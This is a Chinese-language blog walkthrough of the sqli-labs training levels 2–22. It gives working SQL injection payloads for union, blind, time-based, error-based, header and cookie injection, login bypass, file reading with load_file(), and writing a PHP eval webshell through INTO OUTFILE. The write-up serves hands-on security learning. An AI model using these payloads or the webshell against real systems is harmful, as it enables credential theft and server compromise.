Sqli-Labs-master 注入训练(Page-1)

咋们直接从第二关开始练习

Less-2:

第二关在 id=1 后面直接加一个单引号,报错,所以知道查询语句整体是有的单引号闭合的,所以后面直接跟order by 3--+,正常回显,order by 4--+,报错,超出范围,将id改为-1,后面跟上union select 1,2,3--+,有2和3 的回显

在2的位置查询数据库名字database() 在3的位置查询名字或者版本或者数据库路径或者数据库系统user() or version() or @@datadir or @@version_compile_os

接着再查询数据库中的所有数据库名union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

查询当前数据库的所有表名union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

查询users表中的所有列名union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

查询id, username, password 中的信息union select 1,(select group_concat(id,username,password) from users),3--+

至此,成功爆出数据库的信息

Less-3:

id=1后面输入一个单引号,报错,输入两个单引号,回显正常,所以在1那里有一对单引号,我们需要闭合那个单引号,查询语句就要写成id=1' order by 3--+ 其他的操作如Less-2一样。

Less-4:

在id=1后面输入一个单引号,没有报错,输入一个双引号,报错,根据报错的地方我们可以看出来,在1的那部分有一个双引号和一个括号,用")--+闭合,回显正常,所以查询语句是id=1") order by 3--+ 其他的操作如Less-2一样。

sql盲注:

常用的几个函数:

  1. left() 这个函数的作用是从字符串的左边开始截取,id=1 and left(database(),1)='s'--+,截取几个就显示几个,?id=1 and left(database(),3)='sec'--+

  2. substr() 这个函数的作用也是截取字符串,但是是从特定位置截取特定字符串的,?id=1 and substr(database(),1,1)=='s'--+

  3. mid() 这个函数的作用和substr() 一样

  4. ascii() 函数 这个函数是将字符串转换成ascii码,如果是一个字符串中的字母比一个多,只会识别第一个字符

  5. ord() 这个函数和ascii函数一样。

regexp正则注入

判断数据库的第一个字符在不在[a-z] 中,?id=1 and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regrxp '^[a-n]'limit 0,1) 接下来就修改正则表达式 '^n[a-n]'不断尝试。因为table_name 有很多个,是不需要修改Limit的,只需要大量匹配。

举例说明:我有两个表,users 和 emails 当我and table_name regrxp '^us[a-n]'limit 0,1成立,匹配这个and table_name regrxp '^em[a-n]'limit 0,1也是成立的。关键在第一个你匹配的是啥。

like匹配 这个和正则匹配一样,是模糊匹配

报错注入

payload: ?id=1 union Select 1,count(*),concat(0x3a,0x2d,database(),floor(rand(0)*2))a from information_schema.columns group by a--+

count() 函数,这个函数是统计字符出现的次数

floor() 这个函数是向下取整,floor(3.4)=3

rand() 这个函数是生成一个随机数,如果里面没有参数,就是返回一个随机的0—1之间的数

https://www.freebuf.com/articles/web/255522.html这个文章讲的特别清楚。

floor(rand(0)*2)这个的取值要么是1 ,要么是 0.

报错注入的关键是group by a;还有count() 聚合函数,将相同的查询到的内容聚合,分成两组

还有常用的payload: select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

简化payload : select count(*) from information_schema.tables group by concat(versison(),floor(rand(0)*2))(但是我没实现出来)

当关键表被禁用的时候,可以是哦难过以下查询

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))(也没实现)

当rand() 函数被禁用(没实现)

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

exp()注入

当传递一个大于709的数时,exp() 函数会有溢出报错,exp 函数是计算自然底数e的n次方,在MySQL中,log函数和ln 函数一样,都是返回以e为底数的对数,和exp 函数刚好相反。

mysql> select ~0会返回一个很大的数字,前面那个符号是取反,所以构造函数,当函数执行成功时,会返回0,再取反,数字很大,再使用exp()函数,就会报错。(不知道是不是我mysql版本的问题,报错格式对了,内容不对)。

extractvalue()和updatexml()报错注入

extractvalue()函数是对xml 文档进行查询的函数,所以在这个函数的第二个参数必须要是xml格式,如果不是,就会把错误的地方爆出来,updatexml函数也是一样的,不同的是第一个函数有两个参数,第二个有三个参数。

extractvaue()http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(%27anything%27,concat(%27~%27,(select%20database())))--+格式就是这样的。

updatexml() http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1%27%20and%20(updatexml(%27anything%27,concat(%27~%27,(select%20database())),%27anything%27))--+ 两个函数很相似。

时间盲注

if函数,if(a,b,c) 如果a 可以执行的话,就执行b , 不然就执行c,,在这里常常和sleep函数搭配。

?id=1 and if(ascii(substr(database(),1,1))>100,0,sleep(5))--+解释:如果数据库的第一个字母的ascii码大于100,就直接返回,否则延迟5秒加载网页。

Less-5:

在id后面输入1 或者 2 或者 55 或者随便的字符,页面始终不变,这就说明页面不会显示数据,只能用报错来判断是否正确,构造payload id=1' and length(database())>10--+此时页面与之前的显示不符,说明数据库的字符长度小于等于10,再次重复构造,直到得出数据库的字符长度是8,然后开始使用substr函数和ascii函数进行测试,构造payload,id=1' and ascii(substr(database(),1,1))>100--+这里我写了一个python小脚本来跑,速度会快很多。

接着构造id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+以下同理。

Less-6:

当输入双引号的时候,发现有报错,所以在id=1后面加上一个双引号,再进行脚本爆破。

导入导出相关操作

  1. load_file()导出文件

    load_file(file_name)读取文件并返回文件的内容作为第一个字符串

    使用条件:

    必须有权限读取并且文件完全可读  and (select count(*) from mysql.user)>0  如果返回正常,说明具有读写权限。
     
    欲读取文件必须在服务器上
     
    必须指定文件完整的路径
    

    例子:select 1,2,3,4,5,6,7,hex(replace(load_file(char(9,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))利用hex()将文件内容导出,尤其是smb文件时可以使用。

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

    LOAD DATA INFILE 语句用于高速从一个文本文件中读取行,并装入一个表,文件名必须为一个文字字符串。

    select … into outfile ‘file_name’ 可以把被选择的行写入一个文件中,该文件被创建到服务器上,因此必须拥有file权限,file_name不能是一个已经存在的文件。

    例子:select version() into outfile 'C:\\phpnow\\htdocs\\test.php'

    select version() into dumpfile 'C:\\phpnow\\htdocs\\test.php'用于二进制文件

    可以把version 换成一句话木马,然后用菜刀连接就行。

    第二种是修改文件的结尾:

    select version() into outfile 'c://phpnow//htdocs//test.php' line terminated by 0x16进制文件

    通常是以‘\r\n’结尾,此处修改为我们像上传的文件,类似大马,同时也可以用FIELDS TEEMINATED BY (分隔符)

Less-7:

当输入单引号的时候,开始报错,输入双引号不报错,但是我以为是对单引号有过滤,但是好几种绕过单引号的方法都不行,于是看了一下源代码,原来是在id=1的后面有一个单引号和两个括号,于是构造id=1'))然后用Less-5的脚本爆破。


今天看了一些文章,发现这关不是这么玩的,这一关按照提示,是要通过文件上传来。

首先要检测有没有上传文件的权限,?id=1')) and (select count(*) from mysql.user)>0--+如果页面返回正常的话,就是说明有上传权限。

上传文件之前要知道正确的文件路径,还要确定secure_file_priv权限是开启的,这个权限在mysql的配置文件中,修改my.ini,有的话修改secure_file_priv后面的参数,空的话就是不限制任何文件,如果是null的话,就是不能读写,但是后面是指定的文件的话,就是只能对这个文件读写。

开始尝试写入?id=1 union select 1,2,"qwerty" into outfile "D:\\phpstudy_pro\\WWW\\1.php"--+,回车之后发现页面还是报错,但是文件已经被写入文件夹了,开始写入一句话木马,?id=1 union select 1,2,"<?php @eval($_POST['test']);?>" into outfile "D:\\phpstudy_pro\\WWW\\1.php"--+或者into dumpfile,发现文件已经被写入,直接用菜刀连接,连接成功。

Less-8:

我以为这道题会不同,没想到和Less-5一样。更新了一下脚本,一次性将所有的都跑出来了。

Less-9:

输入什么都不变,看了一下源码,是单引号,但就是没反应,放到自己写的脚本中,确实也跑出来了,于是看了文章,是时间注入。http://localhost:81/sqli-labs-master/Less-9/?id=1%27%20and%20if((ascii(substr(database(),1,1))%3E100),sleep(4),0)--+

Less-10:

和第九关一样,只是把单引号变成了双引号。

Less-11:

从这关开始,就进入了post注入,页面是一个登录界面,在username 那里输入一个单引号,不出意外,确实报错了,根据报错信息,我们可以看出来,在username 和password 处有单引号限制,然后尝试用万能密码:1’ or 1=1# 结果就登录进去了,其他的payload 和第一关一样。

Less-12:

尝试输一下单引号,没有回显,输入双引号,报错,报错信息中可以看出是双引号加一个括号的限制。其他和上一关一样。

Less-13:

尝试输入一个单引号,没想到直接报错,在id 出有’)的限制。输入1‘)or 1=1# 发现登录成功,但是没有信息,只是图片改变了,所以这一关是无回显注入,主要看图片,和前面几关相似。

Less-14:

输入双引号,报错,其他和13关一样。使用extractvalue()函数和updatexml()函数可以将信息显示出来

Less-15:

这一关不管输入单引号还是双引号和括号,都不报错,所以没有信息,使用玩我能密码可以登录,也确定是单引号限制,用时间注入。

Less-16:

这一关直接使用万能密码,经过不断尝试,发现id处是“)的限制,使用extractvalue()函数和updatexml()函数也不管用,可以用时间盲注。(注意,在前面的一定是admin”) and 这种形式的,因为必须要匹配一个,或者输一个不可能的数,换成or).

MySQL数据库的增删查改

增: INSERT INTO 表名(字段名1,字段名2,)VALUES(值1,值2);

例: INSERT INTO student(id,username,grade) VVALUES(1,’zhangshan ‘,98)如果不指定字段名,则添加的值的顺序和字段在表中一样。

INSERT INTO student SET id=4,name=’skk’,grade=72;这个也一样。可以同时添加多条信息。

删:DELETE FROM 表名 WHERE 条件表达式

例 : DELETE FROM student WHERE id=7;DELETE * FROM student;删除整个表TRUNCATE TRUNCATE TABLE student;使用delete 删除表时,吓一条记录会接着添加,但是使用truncate会从1开始。

改:——更新数据

UPDATE 表名 SET 字段名1=值1,字段名2=值2, WHERE 条件表达式。

UPDATE student SET name=’cc’,grade=4 WHERE id=1; 更新全部数据 UPDATE student SET grade=80;

查:简单查询语句 SELECT id,name,grade from students;SELECT * FROM students;

SELECT * FROM students WHERE id>5; SELECT * FROM students WHERE id IN (1,2,3); not in

SELECT id,name FROM students WHERE id BETWEEN 2 AND 5;

空值查询: SELECT * FROM student2 WHERE gender IS NULL;

用来过滤重复的值,值保留一个:SELECT DISTINCT gender FROM student2;

用来匹配任意长度的字符串:SELECT id,name FROM student2 WHERE name LIKE “S%”;

下划线通配符;SELECT * FROM student2 WHERE name LIKE ‘wu_ong’;

OR 和 AND 一起使用的时候,AND 的优先级高于 OR

Less-17:

这一关我不管输入单引号,双引号和括号,都没有显示,根据提示,是要更新密码,我们可以尝试输入一个正确的账号,密码随便输,结果发现提示更新成功,我们可以猜想语句是先查询有没有账号,有的话修改密码,所以我们构造payload, 在账号那里还是填写admin,密码出写1' and extractvalue(1,concat('~',database()))#,发现信息报错出来了,其他的和的上面一样构造就行了。

为什么不构造username: 查看源代码,发现有一个函数,check_input(),这个函数设置了几道对username 的检测,

addslashes()函数,返回预定义字符之间添加反斜杠。预定义字符是单引号,双引号,反斜杠,null ,因为php 对所有的get.post .cookie 都会自动运行addslashes(),所以不能对已转义过的字符串使用addslashes(),会导致双层转义,遇到这种情况可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes()函数删除由 addslashes()函数添加的反斜杠

mysql_real_escape_string() 函数转义sql语句中使用的字符串中的特殊字符。

在check_input()对username 进行了各种转义,所以此处不能进行注入。

Less-18:

这一关打开后,发现写着你的IP是127.0.0.1,所以可能想到的是headers请求头的注入。构造请求头,

user-agent就可以了。

Less-19:

这一关和上一关一样,当输入正确的账号和密码的时候,发现出来的是referer,于是构造referer ,和上一题一样,只是把useragent 变成referer.

Less-20:

从源代码中我们发现,cookie从username中获得值后,当再次刷新时,会从cookie中读取username,然后进行查询,

修改cookie为uname=admin1’ and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#就可以了。这个可以使用burpsuite来抓包修改,我用python不知道为什么没有请求成功。

Less-21:

首先输入正确的账号和密码,发现返回的界面和上一关一摸一样,只是在cookie 那里的数据被加密过,而且比较像base64的加密,把加密数据解密,发现就是咋们登录的账号,所以这一关的思路和上一关的一摸一样,但是我们的注入语句要加密过一遍才行。

但是当我把上一关的payload加密之后提交上去时,发现过滤字符出了问题,尝试发现是’)的过滤,修改payload ,直接成功。

Less-22:

这一关和上一关又是一样的,除了过滤字符不同,这一关的过滤字符是:‘“

ok,至此,sqli-labs-master 的第一大关就算过了,让我们继续旅吧!!!!

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2023 Limbus
  • Visitors: | Views:

请我喝杯茶吧~

支付宝
微信